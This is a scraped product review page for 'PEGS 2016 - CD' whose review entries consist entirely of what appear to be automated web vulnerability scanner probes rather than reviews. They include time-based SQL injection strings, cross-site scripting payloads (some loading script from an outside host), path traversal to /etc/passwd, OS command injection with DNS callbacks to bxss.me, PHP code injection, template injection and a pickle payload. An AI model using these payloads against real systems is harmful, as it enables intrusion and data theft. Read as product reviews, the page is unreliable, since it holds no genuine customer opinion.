Product reviews for PEGS 2016 - CD

FWVVrNVF

response.write(9629125*9060470)

'+response.write(9629125*9060470)+'

"+response.write(9629125*9060470)+"

response.write(9629125*9060470)

/../../../../../../../../../../windows/system32/BITSADMIN.exe

/../../../../../../../../../../windows/system32/BITSADMIN.exe

${9999720+9999118}

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

<esi:include src="http://bxss.me/rpb.png"/>

../

&n933264=v926871

1some_inexistent_file_with_long_name.jpg

./

12345'"\'\");|]*{
<>�''💡

echo smqxqj$()\ rjkisd\nz^xyu||a #' &echo smqxqj$()\ rjkisd\nz^xyu||a #|" &echo smqxqj$()\ rjkisd\nz^xyu||a #

./

Http://bxss.me/t/fit.txt

&echo xpszwg$()\ gncnwu\nz^xyu||a #' &echo xpszwg$()\ gncnwu\nz^xyu||a #|" &echo xpszwg$()\ gncnwu\nz^xyu||a #

|echo svwjng$()\ xtwygc\nz^xyu||a #' |echo svwjng$()\ xtwygc\nz^xyu||a #|" |echo svwjng$()\ xtwygc\nz^xyu||a #

'"()

http://bxss.me/t/fit.txt?.jpg

bxss.me

(nslookup hitimwjvskuxa14681.bxss.me||perl -e "gethostbyname('hitimwjvskuxa14681.bxss.me')")

'.gethostbyname(lc('hitop'.'tropitehafaaf.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(73).chr(120).chr(74).'

".gethostbyname(lc("hityx"."lwoeugyu998de.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(83).chr(102).chr(81)."

)

ctime
sleep
p0
(I30
tp1
Rp2
.

ctime
sleep
p0
(I5
tp1
Rp2
.

!(()&&!|*|*|

"+"A".concat(70-3).concat(22*4).concat(107).concat(79).concat(110).concat(82)+(require"socket"
Socket.gethostbyname("hitfy"+"tllafqvf01fd2.bxss.me.")[3].to_s)+"

$(nslookup hitajklanbbmsa2671.bxss.me||perl -e "gethostbyname('hitajklanbbmsa2671.bxss.me')")

!(()&&!|*|*|

^(#$!@#$)(()))******

734

734

734/.

&(nslookup hitqevxtjyxtma0182.bxss.me||perl -e "gethostbyname('hitqevxtjyxtma0182.bxss.me')")&'\"`0&(nslookup hitqevxtjyxtma0182.bxss.me||perl -e "gethostbyname('hitqevxtjyxtma0182.bxss.me')")&`'

'+'A'.concat(70-3).concat(22*4).concat(110).concat(74).concat(120).concat(66)+(require'socket'
Socket.gethostbyname('hityk'+'sjdixvki8568d.bxss.me.')[3].to_s)+'

|(nslookup hitkylyoyujdoce3fc.bxss.me||perl -e "gethostbyname('hitkylyoyujdoce3fc.bxss.me')")

`(nslookup hitywrmzsdcsp8cc54.bxss.me||perl -e "gethostbyname('hitywrmzsdcsp8cc54.bxss.me')")`

HttP://bxss.me/t/xss.html?%00

bxss.me/t/xss.html?%00

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

;(nslookup hitryszkikdfn1535d.bxss.me||perl -e "gethostbyname('hitryszkikdfn1535d.bxss.me')")|(nslookup hitryszkikdfn1535d.bxss.me||perl -e "gethostbyname('hitryszkikdfn1535d.bxss.me')")&(nslookup hitryszkikdfn1535d.bxss.me||perl -e "gethostbyname('hitryszkikdfn1535d.bxss.me')")

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

;(nslookup hitryszkikdfn1535d.bxss.me||perl -e "gethostbyname('hitryszkikdfn1535d.bxss.me')")|(nslookup hitryszkikdfn1535d.bxss.me||perl -e "gethostbyname('hitryszkikdfn1535d.bxss.me')")&(nslookup hitryszkikdfn1535d.bxss.me||perl -e "gethostbyname('hitryszkikdfn1535d.bxss.me')")

/xfs.bxss.me

'"

920246

<!--

http://xfs.bxss.me

//xfs.bxss.me

/\xfs.bxss.me

";print(md5(31337));$a="

'"()&%<acx><ScRiPt >YqDr(9895)</ScRiPt>

HttP://bxss.me/t/xss.html?%00

'"()&%<acx><ScRiPt >YqDr(9863)</ScRiPt>

9798914

";print(md5(31337));$a="

9798914

acu5230＜s1﹥s2ʺs3ʹuca5230

acux1256��z1��z2a�bcxuca1256

-1 OR 2+950-950-1=0+0+0+1 --

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

-1 OR 3+950-950-1=0+0+0+1 --

-1 OR 3*2<(0+5+950-950) --

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

-1 OR 3*2>(0+5+950-950) --

-1 OR 3+950-950-1=0+0+0+1 --

acx{{98991*97996}}xca

-1 OR 2+815-815-1=0+0+0+1

-1 OR 2+10-10-1=0+0+0+1 --

-1 OR 3+10-10-1=0+0+0+1 --

-1 OR 3*2<(0+5+10-10) --

-1 OR 3+815-815-1=0+0+0+1

-1 OR 3*2<(0+5+815-815)

-1 OR 3*2>(0+5+815-815)

-1 OR 3+815-815-1=0+0+0+1

9798914

-1 OR 3*2>(0+5+10-10) --

-1' OR 2+229-229-1=0+0+0+1 --

";print(md5(31337));$a="

'"

-1 OR 2+243-243-1=0+0+0+1

-1 OR 3+243-243-1=0+0+0+1

-1' OR 3+229-229-1=0+0+0+1 --

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

acu8320＜s1﹥s2ʺs3ʹuca8320

acux4607��z1��z2a�bcxuca4607

-1' OR 3*2<(0+5+229-229) --

<%={{={@{#{${acx}}%>

-1 OR 3*2<(0+5+243-243)

-1 OR 3*2>(0+5+243-243)

-1' OR 2+137-137-1=0+0+0+1 --

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

-1' OR 3+229-229-1=0+0+0+1 --

-1' OR 3+137-137-1=0+0+0+1 --

-1' OR 3*2<(0+5+137-137) --

-1' OR 3*2>(0+5+229-229) --

-1' OR 2+340-340-1=0+0+0+1 or 'MYMnYtlB'='

-1' OR 3*2>(0+5+137-137) --

-1' OR 3+340-340-1=0+0+0+1 or 'MYMnYtlB'='

-1' OR 3*2<(0+5+340-340) or 'MYMnYtlB'='

-1' OR 3*2>(0+5+340-340) or 'MYMnYtlB'='

-1' OR 3+340-340-1=0+0+0+1 or 'MYMnYtlB'='

-1" OR 2+432-432-1=0+0+0+1 --

acx{{98991*97996}}xca

-1' OR 3+581-581-1=0+0+0+1 or 'LSRg6tWt'='

-1" OR 3+432-432-1=0+0+0+1 --

acx[[${98991*97996}]]xca

-1' OR 3*2<(0+5+581-581) or 'LSRg6tWt'='

-1" OR 3+432-432-1=0+0+0+1 --

acx__${98991*97996}__::.x

-1" OR 3*2<(0+5+432-432) --

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

-1' OR 3*2>(0+5+581-581) or 'LSRg6tWt'='

-1" OR 3*2>(0+5+432-432) --

-1" OR 3*2>(0+5+432-432) --

-1" OR 2+528-528-1=0+0+0+1 --

<ScRiPt >YqDr(9096)</ScRiPt>

-1" OR 3+528-528-1=0+0+0+1 --

<WW9JV7>GB3TB[!+!]</WW9JV7>

-1" OR 3*2<(0+5+528-528) --

-1" OR 3*2>(0+5+528-528) --

if(now()=sysdate(),sleep(15),0)

<script>YqDr(9110)</script>

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

response.write(9887611*9859429)

<ScR<ScRiPt>IpT>YqDr(9377)</sCr<ScRiPt>IpT>

<ScRiPt
>YqDr(9656)</ScRiPt>

/../../../../../../../../../../windows/system32/BITSADMIN.exe

'+response.write(9887611*9859429)+'

echo gxzbrs$()\ sjbodv\nz^xyu||a #' &echo gxzbrs$()\ sjbodv\nz^xyu||a #|" &echo gxzbrs$()\ sjbodv\nz^xyu||a #

&echo eqmqgo$()\ ofgqhu\nz^xyu||a #' &echo eqmqgo$()\ ofgqhu\nz^xyu||a #|" &echo eqmqgo$()\ ofgqhu\nz^xyu||a #

if(now()=sysdate(),sleep(15),0)

|echo bwlreu$()\ slvkec\nz^xyu||a #' |echo bwlreu$()\ slvkec\nz^xyu||a #|" |echo bwlreu$()\ slvkec\nz^xyu||a #

"+response.write(9887611*9859429)+"

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1ZEZLO68

(nslookup hithrjqzqvsvea0b50.bxss.me||perl -e "gethostbyname('hithrjqzqvsvea0b50.bxss.me')")

if(now()=sysdate(),sleep(15),0)

$(nslookup hitkuklfymmpja889b.bxss.me||perl -e "gethostbyname('hitkuklfymmpja889b.bxss.me')")

<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9194></ScRiPt>

&(nslookup hitpjvkdzobyw8b00e.bxss.me||perl -e "gethostbyname('hitpjvkdzobyw8b00e.bxss.me')")&'\"`0&(nslookup hitpjvkdzobyw8b00e.bxss.me||perl -e "gethostbyname('hitpjvkdzobyw8b00e.bxss.me')")&`'

if(now()=sysdate(),sleep(15.2),0)

<ScRiPt
>YqDr(9421)</ScRiPt>

<svg  

�onload=YqDr(9909);>

|(nslookup hitewjhttjeexc643a.bxss.me||perl -e "gethostbyname('hitewjhttjeexc643a.bxss.me')")

<isindex type=image src=1 onerror=YqDr(9048)>

`(nslookup hitdtlugelcxubb1f9.bxss.me||perl -e "gethostbyname('hitdtlugelcxubb1f9.bxss.me')")`

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9504'>

<body onload=YqDr(9657)>

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

<img src=//xss.bxss.me/t/dot.gif onload=YqDr(9758)>

;(nslookup hittqvyuwbgri932ad.bxss.me||perl -e "gethostbyname('hittqvyuwbgri932ad.bxss.me')")|(nslookup hittqvyuwbgri932ad.bxss.me||perl -e "gethostbyname('hittqvyuwbgri932ad.bxss.me')")&(nslookup hittqvyuwbgri932ad.bxss.me||perl -e "gethostbyname('hittqvyuwbgri932ad.bxss.me')")

../../../../../../../../../../../../../../etc/passwd

<img src=xyz OnErRor=YqDr(9205)>

<img/src=">" onerror=alert(9361)>

%0D%0A%3C%53%63%52%69%50%74%20%3E%59%71%44%72%289136%29%3C%2F%73%43%72%69%70%54%3E

<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9194></ScRiPt>

\u003CScRiPt\YqDr(9082)\u003C/sCripT\u003E

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

../../../../../../../../../../../../../../windows/win.ini

12345'"\'\");|]*{
<>�''💡

&lt;ScRiPt&gt;YqDr(9249)&lt;/sCripT&gt;

(select(0)from(select(sleep(31)))v)/*'+(select(0)from(select(sleep(31)))v)+'"+(select(0)from(select(sleep(31)))v)+"*/

0'XOR(if(now()=sysdate(),sleep(7.6),0))XOR'Z

-1; waitfor delay '0:0:15' --

<esi:include src="http://bxss.me/rpb.png"/>

<script>YqDr(9110)</script>

../

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

${9999930+10000456}

<script>YqDr(9110)</script>

if(now()=sysdate(),sleep(15),0)

�<img acu onmouseover=YqDr(98431) //�>

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

<input autofocus onfocus=YqDr(9573)>

-1); waitfor delay '0:0:31' --

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

./

-1)); waitfor delay '0:0:15' --

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

1some_inexistent_file_with_long_name.jpg

&n926273=v964633

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt?.jpg

}body{acu:Expre/**/SSion(YqDr(9374))}

-1; waitfor delay '0:0:15.2' --

bxss.me

}body{acu:Expre/**/SSion(YqDr(9374))}

)

<% contenteditable onresize=YqDr(9982)>

'.gethostbyname(lc('hithm'.'xjknelps0f6d7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(83).chr(117).chr(67).'

1 waitfor delay '0:0:15' --

!(()&&!|*|*|

HOjIb
<ScRiPt >YqDr(9238)</ScRiPt>

".gethostbyname(lc("hitac"."ginmejji21e57.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(73).chr(110).chr(83)."

<W9KTNO>PKFMN[!+!]</W9KTNO>

-1; waitfor delay '0:0:7.6' --

2fAuYApR'; waitfor delay '0:0:15' --

'"()

-1; waitfor delay '0:0:0' --

W0AFTULu'); waitfor delay '0:0:15' --

^(#$!@#$)(()))******

-1); waitfor delay '0:0:15' --

ltYKxgLZ')); waitfor delay '0:0:15' --

<ifRAme sRc=9446.com></IfRamE>

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

-1)); waitfor delay '0:0:15' --

';print(md5(31337));$a='

-5 OR 894=(SELECT 894 FROM PG_SLEEP(15))--

<3toNiS x=9582>

<img sRc='http://attacker-9926/log.php?

<s36ryU<

";print(md5(31337));$a="

-5) OR 605=(SELECT 605 FROM PG_SLEEP(15))--

${@print(md5(31337))}

${@print(md5(31337))}\

<3toNiS x=9582>

ctime
sleep
p0
(I15
tp1
Rp2
.

'.print(md5(31337)).'

HttP://bxss.me/t/xss.html?%00

-1)) OR 427=(SELECT 427 FROM PG_SLEEP(15))--

"+"A".concat(70-3).concat(22*4).concat(99).concat(70).concat(98).concat(87)+(require"socket"
Socket.gethostbyname("hitod"+"kptasahh75270.bxss.me.")[3].to_s)+"

1 waitfor delay '0:0:7.6' --

734

'+'A'.concat(70-3).concat(22*4).concat(100).concat(84).concat(114).concat(81)+(require'socket'
Socket.gethostbyname('hitik'+'smiwhomxdc1fb.bxss.me.')[3].to_s)+'

bxss.me/t/xss.html?%00

<ifRAme sRc=9446.com></IfRamE>

Mc7SEDBc' OR 600=(SELECT 600 FROM PG_SLEEP(15))--

1 waitfor delay '0:0:15.2' --

734

734/.

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

hGFs5Q7S') OR 357=(SELECT 357 FROM PG_SLEEP(15))--

^(#$!@#$)(()))******

/xfs.bxss.me

edGLTGHo'; waitfor delay '0:0:15' --

wxyQsqMe') OR 609=(SELECT 609 FROM PG_SLEEP(0))--

966773

'"

'"()&%<acx><ScRiPt >U2IB(9151)</ScRiPt>

<!--

http://xfs.bxss.me

W0625qsw'); waitfor delay '0:0:15' --

'"()&%<acx><ScRiPt >U2IB(9544)</ScRiPt>

9109064

acu6693＜s1﹥s2ʺs3ʹuca6693

acux9948��z1��z2a�bcxuca9948

<%={{={@{#{${acx}}%>

oGyZkX8K')) OR 949=(SELECT 949 FROM PG_SLEEP(15))--

//xfs.bxss.me

/\xfs.bxss.me

<th:t="${acx}#foreach

PSQFDi1p')) OR 142=(SELECT 142 FROM PG_SLEEP(31))--

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

VP714bA5'); waitfor delay '0:0:7.6' --

acx{{98991*97996}}xca

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

OxtY9f1L'); waitfor delay '0:0:15.2' --

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1����%2527%2522

@@iviLU

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

<ScRiPt >U2IB(9305)</ScRiPt>

<WKHXVP>U2SUH[!+!]</WKHXVP>

q0NbvqpG')); waitfor delay '0:0:15' --

<script>U2IB(9603)</script>

<ScR<ScRiPt>IpT>U2IB(9951)</sCr<ScRiPt>IpT>

wPKSdC4t')); waitfor delay '0:0:7.6' --

<ScRiPt
>U2IB(9707)</ScRiPt>

-5 OR 499=(SELECT 499 FROM PG_SLEEP(15))--

<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9195></ScRiPt>

-5) OR 330=(SELECT 330 FROM PG_SLEEP(15))--

<ScRiPt
>U2IB(9100)</ScRiPt>

-1)) OR 706=(SELECT 706 FROM PG_SLEEP(15))--